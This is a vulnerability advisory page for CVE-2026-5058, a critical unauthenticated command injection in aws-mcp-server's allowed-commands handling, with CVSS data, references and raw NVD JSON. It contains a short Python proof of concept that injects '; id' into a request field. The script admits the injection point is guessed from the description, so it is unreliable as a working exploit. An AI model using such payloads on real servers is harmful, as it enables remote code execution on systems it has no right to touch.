CVE-2026-5058

Description

aws-mcp-server Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of aws-mcp-server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the allowed commands list. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the MCP server. Was ZDI-CAN-27968.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

aws-mcp-server < 修复版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
PoC for CVE-2026-5058 (aws-mcp-server Command Injection)
This script demonstrates how a crafted command can trigger RCE.
"""
import requests
import json

target_url = "http://target-server:port/mcp-endpoint"
payload = "; id"  # Simple command injection payload

data = {
    "command": "aws s3 ls",
    "allowed_commands": [f"valid_command{payload}"] # Injection point based on description
}

headers = {"Content-Type": "application/json"}

try:
    response = requests.post(target_url, data=json.dumps(data), headers=headers)
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5058
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5058
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5058/
[4] VulDB https://vuldb.com/cve/CVE-2026-5058
[5] https://www.zerodayinitiative.com/advisories/ZDI-26-246/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5058", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:18.157", "lastModified": "2026-04-13T15:01:43.663", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "aws-mcp-server Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of aws-mcp-server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of the allowed commands list. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the MCP server. Was ZDI-CAN-27968."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-246/", "source": "[email protected]"}]}}